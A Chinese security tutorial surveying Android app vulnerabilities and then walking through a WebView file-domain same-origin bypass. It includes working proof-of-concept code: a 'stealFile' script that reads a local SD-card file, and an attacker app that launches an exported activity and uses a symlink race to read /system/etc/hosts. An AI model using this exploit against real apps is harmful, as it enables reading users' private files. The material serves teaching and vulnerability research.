WebView File域同源策略绕过漏洞实例分析

WebView File域同源策略绕过漏洞实例分析

基本知识Android架构

  • Kernel内核层
    漏洞危害极大,通用性强
    驱动由于多而杂,也可能存在不少漏洞

  • Libaries系统运行库层

    • 系统中间件形式提供的运行库
      包括libc、WebKit、SQLite等等

    • AndroidRunTime
      Dalvik虚拟机和内核库

  • FrameWork应用框架层
    提供一系列的服务和API的接口

    • 活动管理器

    • 内容提供器

    • 视图

    • 资源管理器

    • 通知管理器

  • Application应用层

    • 系统应用
      主屏幕Home、联系人Contact、电话Phone、浏览器Browser

    • 其他应用
      开发者使用应用程序框架层的API实现的程序

Andoroid常用组件

  • Acitivity活动

  • Service服务

  • BroadcastRecviver广播接收器

  • ContentProvider内容提供器

Android App常见漏洞     (OWASP Mobile 前二0)平台使用不当

  • 概述
    平台功能的滥用,或未能使用平台的安全控制。如Intent误用、权限误用等

  • 风险
    很广泛,可能涉及移动平台各个服务

  • 举例
    iOS系统中,将密码数据存放在本地文件而没有存放在密钥链中,导致可以从伪加密的备份数据中读取
    Android系统中,Intent使用不当导致恶意用户劫持修改intent的内容,以原进程的身份权限执行任意动作

  • 不安全的数据存储

  • 不安全的通信

典型漏洞及挖掘方法数据存储漏洞

  • 数据文件或目录

    • 明文存储

    • MODE_PRIVATE

    • 明文存储

    • 创建数据库时没有使用MODE_PRIVATE模式

    • 创建配置文件时没有使用MODE_PRIVATE模式,导致其他程序可以读取配置文件

    • 明文存储,而root用户可读,导致敏感数据泄露

    • SharedPreferences
      data/data/程序包名/shared_prefs/*.xml

    • SQLiteDatabases
      data/data程序包名/database/*.db

    • InternalStorage
      data/data/程序报名/files/*

    • ExternalStorage
      /mnt/sdcard/*

  • 检测方法

    • 浏览/data/data/包名目录下的各个文件和目录,检查是否存在others用户可读的文件

    • 检查配置文件、数据库等是否存在明文敏感信息

  • 挖掘方法

    • 代码检测
      检查openFileOutput、getSharedPrefreences、openOrCreateDatabase等函数的mode参数是否为MODE_PRIVATE(0x0000)

数据通信漏洞

  • 使用HTTP等明文协议将敏感信息传送至服务端

    • 通过局域网嗅探、恶意公共WIFI、恶意代理服务、DNS劫持等手段捕获明文通信,产生中间人攻击

  • SSL证书弱校验

    • 搜索.method public checkServerTrusted

    • 定位.method和end method

    • 检查是否存在return-void

    • 同理检查verify(String, SSLSession)的返回值是否恒为True、X509HostnameVerifier的参数是否为ALLOW_ALLHOSTNAME_VERIFIER

    • 开启Fiddler的HTTPS解析功能,生成并导出自签名证书,安装到手机中

    • 开启Fiddler代理,并允许远程主机连接该代理

    • APP中缺乏对SSL证书的校验
      客户端中应该实现X509TruestManager类,包括checkServerTrusted\checkClientTrusted\getInstance三个方法

    • 证书校验失败会导致异常,然后由应用程序对证书校验异常进行处理

    • 未对服务器证书校验会导致TLS中间人攻击
      使用HttpsURLConnection时,实现自定义HostnameVerifier过程中未对主机名做验证,则默认不检查证书域名与站点名是否匹配。或者在设置HttpsURLConnection的HostnameVerifier时,将其设为ALLOW_ALL_HOSTNAME_VERIIER则接受所有域名.

    • 攻击方法

    • 挖掘方法

  • SSL证书强校验
    可能通过Xp、Patch等方法绕过

组件暴露漏洞

  • Android:exported是四大组件中都有的一个属性,用来表示是否支持其他应用调用当前组件

  • 如果有intent-filter,默认值为true;反之默认则为false

  • exported导出组件的权限控制

  • 绕过认证

    • activity暴露后被第三方调用,可能在没有密码的情况下登录/重置密码

  • 敏感信息泄露

    • recviver暴露后被第三方启动,可能查看到调试等信息中包含的敏感信息

  • 越权行为

    • 低权限程序通过调用高权限程序暴露的组件,执行高权限动作

  • 挖掘方法

    • 查看AndroidManifest.xml

    • 通过drozer的attacksurface工具进行安全评估

弱加密漏洞

  • 密码硬编码
    反编译、root查看等可以取得

  • AES/DES弱加密
    ECB模式容易受到分析或重放攻击

WebView

主要包括三种漏洞:

  • 任意代码执行

    • 编写遍历对象的网页,如果存在getClass方法则存在远程代码执行漏洞

    • fiddler的before脚本可以让任意webview访问任意网页时进行测试

    • Android4.2以后,通过addJavascriptInterface注解的方法可被网页中的java方法调用。如果未加过滤则可能存在漏洞

    • 挖掘方法:

  • 域控制不严格

    • setAllowFileAccess

    • setAllowFileAccessFromFileURLs

    • setAllowUniversalAccessFromFileURLs(导致远程泄露敏感信息)

    • 通过符号链接攻击可以访问本地文件:无论怎么限制,js都能访问本文件的。而通过延时执行和将当前文件替换成指向指向其他文件的软连接就可以读取到被符号链接所指向的文件

    • WebView如果打开了对JavaScript的支持,同时未对file:///形式的URL做限制,则会导致coookie、私有文件、数据库等敏感信息泄露

  • 密码明文存储
    当用户选择保存在WebViEW中输入的用户名和密码时,则会被明文保存到app目录下的data.db中
    具有root权限的攻击者可以读取

漏洞挖掘流程总结

  • 静态分析
    快速检测,获得分析重点目标

    • 检查AndroidManifest文件

    • 脚本分析Smali代码

  • 动态分析
    对疑似风险进行验证和危害评估

    • 调试模式分析

    • 尝试操作/漏洞验证

    • drozer

    • 抓包分析数据及接口

  • 逆向分析
    加密破解以及对逻辑和代码的进一步分析

  • 自动化辅助系统

    • MobSF 包括前端web界面,

    • Marvin 包括前端web界面,部署麻烦

    • Inspeckage Xposed插件

今天我们就来讲讲WebView 的漏洞

[Java] 纯文本查看 复制代码

?

示例代码地址:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。

或者是我的github:https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1

代码如下代码主要区别在于这次加载的attack_file.html

public class MainActivity extends Activity {

private WebView webView;

private Uri mUri;

private String url;

String mUrl1 = “file:///android_asset/html/attack_file.html”;

//String mUrl2 = “file:///android_asset/html/test.html”;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

webView = (WebView) findViewById(R.id.webview);

webView.getSettings().setJavaScriptEnabled(true);

webView.addJavascriptInterface(new JSInterface(), “jsInterface”);

webView.getSettings().setAllowFileAccessFromFileURLs(true);

webView.setWebChromeClient(new WebChromeClient() {

@Override

public boolean onJsAlert(WebView view, String url, String message,JsResult result) {

//Required functionality here

return super.onJsAlert(view, url, message, result);

}

});

webView.loadUrl(mUrl1);

}

class JSInterface {

public String onButtonClick(String text) {

final String str = text;

runOnUiThread(new Runnable() {

@Override

public void run() {

Log.e(“leehong2”, “onButtonClick: text = ” + str);

Toast.makeText(getApplicationContext(), “onButtonClick: text = ” + str, Toast.LENGTH_LONG).show();

}

});

return “This text is returned from Java layer. js text = ” + text;

}

public void onImageClick(String url, int width, int height) {

final String str = “onImageClick: text = ” + url + ” width = ” + width + ” height = ” + height;

Log.i(“leehong2”, str);

runOnUiThread(new Runnable() {

@Override

public void run() {

Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();

}

});

}

}

}

这里webView.getSettings().setAllowFileAccessFromFileURLs(true),标示可以通过javaScript访问file文件。

我们再来看attack_file.html的代码:‘

<font ><font face=”&ampquot;”><font ><html>

<body>

<script>

function stealFile()

{

var file = “file:///mnt/sdcard/233.txt”;

var xmlHttpReq = new XMLHttpRequest();

xmlHttpReq.onreadystatechange = function(){

if(xmlHttpReq.readyState == 4){

alert(xmlHttpReq.responseText);

}

}

xmlHttpReq.open(“GET”, file);

xmlHttpReq.send(null);

}

stealFile();

</script>

</body>

</html> </font></font></font>

由于setAllowFileAccessFromFileURLs为true,所以webView.load这个html可以返回/mnt/sdcard/2333.txt的值。

如果setAllowFileAccessFromFileURLs为false,webView.load这个html不可以返回/mnt/sdcard/2333.txt的值。

即使setAllowFileAccessFromFileURLs为false,我们通过一种方式也可以跨过这个限制,这个我下一次讲讲.

首先运行WebViewFileDemo1,然后再运行AttackWebView来袭击WebView。

我们首先看WebViewFileDemo1,主要代码如下:

<font face=”&ampquot;”><font >package com.example.webviewfiledemo; [/size][/font][/p]

import android.app.Activity;

import android.content.Intent;

import android.net.Uri;

import android.os.Bundle;

import android.util.Log;

import android.webkit.JsResult;

import android.webkit.WebChromeClient;

import android.webkit.WebView;

import android.widget.Toast;

public class MainActivity extends Activity {

private WebView webView;

private Uri mUri;

private String url;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

webView = (WebView) findViewById(R.id.webview);

webView.getSettings().setJavaScriptEnabled(true);

webView.addJavascriptInterface(new JSInterface(), “jsInterface”);

webView.getSettings().setAllowFileAccessFromFileURLs(false);

//webView.getSettings().setAllowFileAccess(false);

webView.setWebChromeClient(new WebChromeClient() {

@Override

public boolean onJsAlert(WebView view, String url, String message,JsResult result) {

//Required functionality here

return super.onJsAlert(view, url, message, result);

}

});

Intent i = getIntent();

if (i != null) {

mUri = i.getData();

}

if (mUri != null) {

url = mUri.toString();

}

if (url != null) {

webView.loadUrl(url);

}

}

} </font></font>

这个Activity接收来自外部的Intent,提取Intent里面的url并加载。

接着我们来看AttackWebView工程,这里就是向com.example.webviewfiledemo.MainActivity发送Intent的工程。代码如下:

public class MainActivity extends Activity {

public final static String HTML =

“<body>” +

“<u>Wait a few seconds.</u>” +

“<script>” +

“var d = document;”+

“function doitjs(){“+

“var xhr = new XMLHttpRequest;”+

“xhr.onload = function(){“+

“var txt = xhr.responseText;”+

“d.body.appendChild(d.createTextNode(txt));”+

“alert(txt);”+”};”+

“xhr.open(‘GET’,d.URL);”+

“xhr.send(null);”+

“}”+

“setTimeout(doitjs,8000);”+

“</script>”+

“</body>”;

public static String MY_TMP_DIR;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

MY_TMP_DIR = getDir(“payload_odex”, MODE_PRIVATE).getAbsolutePath();

doit();

}

public void doit() {

String HTML_PATH = MY_TMP_DIR + “/A0” + “.html”;

try {

cmdexec(“mkdir ” + MY_TMP_DIR);

cmdexec(“echo \”” + HTML + “\” > ” + HTML_PATH);

cmdexec(“chmod -R 777 ” + MY_TMP_DIR);

Thread.sleep(1000);

invokeVulnAPP(“file://” + HTML_PATH);

Thread.sleep(6000);

cmdexec(“rm ” + HTML_PATH);

cmdexec(“ln -s ” + “/system/etc/hosts” + ” ” + HTML_PATH);

} catch (Exception e) {

// TODO: handle exception

}

}

public void invokeVulnAPP(String url) {

try {

Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));

intent.addCategory(Intent.CATEGORY_LAUNCHER);

intent.setClassName(“com.example.webviewfiledemo”, “com.example.webviewfiledemo.MainActivity”);

startActivity(intent);

} catch (Exception e) {

// TODO: handle exception

}

}

public void cmdexec(String cmd) {

try {

String[] tmp = new String[] { “/system/bin/sh”, “-c”, cmd };

Runtime.getRuntime().exec(tmp);

} catch (Exception e) {

// TODO: handle exception

}

}

}

通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url,Url为/sdcard/payload_odex/A0.html,webView加载了这个html,html内容如下:

public final static String HTML =

“<body>” +

“<u>Wait a few seconds.</u>” +

“<script>” +

“var d = document;”+

“function doitjs(){“+

“var xhr = new XMLHttpRequest;”+

“xhr.onload = function(){“+

“var txt = xhr.responseText;”+

“d.body.appendChild(d.createTextNode(txt));”+

“alert(txt);”+”};”+

“xhr.open(‘GET’,d.URL);”+

“xhr.send(null);”+

“}”+

“setTimeout(doitjs,8000);”+

“</script>”+

“</body>”;

当WebViewFileDemo1工程中webView加载A0.html后,这个html的作用是延迟8秒读取A0.html本身。我们再回到AttackWebView工程,往下看代码。

cmdexec(“mkdir ” + MY_TMP_DIR);

cmdexec(“echo \”” + HTML + “\” > ” + HTML_PATH); cmdexec(“chmod -R 777 ” + MY_TMP_DIR);

Thread.sleep(1000);

invokeVulnAPP(“file://” + HTML_PATH);

Thread.sleep(6000);

cmdexec(“rm ” + HTML_PATH);

cmdexec(“ln -s ” + “/system/etc/hosts” + ” ” + HTML_PATH);

调用完invokeVulnAPP后,6秒后,我们首先把A0.html删除,然后再重新软连接到/system/etc/hosts。注意此时当WebViewFileDemo1工程中webView加载A0.html,这个html的作用是延迟8秒读取A0.html本身,所以8秒后读取的是软连接/system/etc/hosts 。

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

文章标题:WebView File域同源策略绕过漏洞实例分析,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/28422

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云认证作者
上一篇 2022年9月21日 下午11:02
下一篇 2022年9月21日 下午11:03

相关推荐

  • Buhtrap黑客组织最新0day漏洞实例分析

    一直以来Buhtrap组织以其针对俄罗斯的金融机构和企业而闻名。在我们的跟踪过程中,发现并分析了该组织的主要后门以及其他工具。 自2015年底以来,该组织变为以经济利益位目的的网络犯罪组织,其恶意软件出现于东欧和中亚进行间谍活动中。 2019年6月我们名列前茅次发现Buhtrap使用0day攻击作。…

    2022年9月15日
    66400
  • windows U盘启动bios如何设置

    U盘启动bios设置方法: 1、将制作好的u盘启动盘插入电脑usb接口后,重启电脑按f2进入到bios界面, 然后切换至boot选项卡,选中External Device Boot并按回车,将其改为Enabled。 2、然后依然在boot选项卡中,按方向键“↑、↓”选择External Device…

    2022年9月22日
    1.2K00
  • windows中raid0和raid1的区别是什么

    raid0和raid1的区别 一、概念 1、RAID 0: RAUD 0就是多磁盘数据分组同步写读。 2、RAID 1: RAID 1就是多磁盘同数据同步写读。 二、安全性 1、RAID 0: 无数据备份功能,安全性差。 2、RAID 1: 盘间是相互备份的,安全性高。 三、性能 1、RAID 0 …

    2022年9月8日
    85200
  • css如何实现​左下角

    左下角 #triangle-bottomleft { width: 0; height: 0; border-bottom: 100px solid red; border-right: 100px solid transparent;} 以上是“css如何实现左下角”这篇文章的所有内容,感谢各位的…

    2022年9月1日
    56200
  • windows驱动精灵护眼如何卸载

    驱动精灵护眼卸载方法: 1、右击任务栏,点击“任务管理器”。 2、在任务管理器找到“护眼大师”,点击“结束任务”。 3、点击“此电脑”,选择“系统c盘”。 4、点击文件夹“Program Files(x86)”。 5、右击文件夹“kherlthey”点击“删除”即可。 读到这里,这篇“windows…

    2022年9月10日
    88000
  • excel怎么设置自定义页码

    excel页码设置自定义页码的方法: 1、首先打开要设置的表格,进入“插入”工具。 2、接着点击“页眉和页脚”选项。 3、然后点击页眉或页脚旁的“自定义”按钮。 4、打开后,在其中就能通过上面一排按钮自由设计页码了。 5、例如我们这里在左边选择页码,右边选择日期。 6、这样打印出来的表格就是左上角页…

    2022年8月27日
    87800
  • pr如何修改视频尺寸

    pr修改视频尺寸的方法: 1、首先进入特效控制台,然后点击打开“运动”。 2、然后在里面找到“缩放比例”。 3、接着可以去打开比例控制条,然后可以调节改变视频的大小。 4、最后去掉“等比缩放”将前面的√取消即可。 以上就是关于“pr如何修改视频尺寸”这篇文章的内容,相信大家都有了一定的了解,希望小编…

    2022年8月29日
    92800
  • cad字体都是问号如何解决

    解决方法 1、比如我们打开图纸时,系统提示找不到字体gbcbig.shx; 2、然后我们复制这个字体去浏览器里搜索下载。 3、接着我们点击桌面上的CAD图标,点击属性,打开快捷方式,找到底部的打开文件所在位置。 4、然后我们找到字体文件夹,就是Fonts文件夹。 5、接着我们就把刚刚从网站上下载下来…

    2022年9月6日
    53400
  • 如何做好项目管理

    做好项目管理有两个必须具备的核心技能:1、SMART原则;2、PDCA循环;除此以外,在项目进行的过程中我们还有:明确且达成共识的项目目标、有效的规划控制、制定项目标准及流程、合理的资源管理、建立完善的交流管理体系、利用有效的管理手段、激励等8个必须注意的点。 一、做好项目管理必须具备的两大核心技能…

    2022年3月19日
    50200
  • php字符串如何转为浮点型

    3种转换方法:1、在要转换的字符串之前加上用括号括起来的目标类型“(float)”、“(double)”或“(real)”,语法“(float)字符串”。2、使用floatval()函数,可以获取字符串变量的浮点值,语法“floatval(字符串变量)”。3、使用settype()函数,可以将字符串…

    2022年9月26日
    1.1K00
注册PingCode 在线客服
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部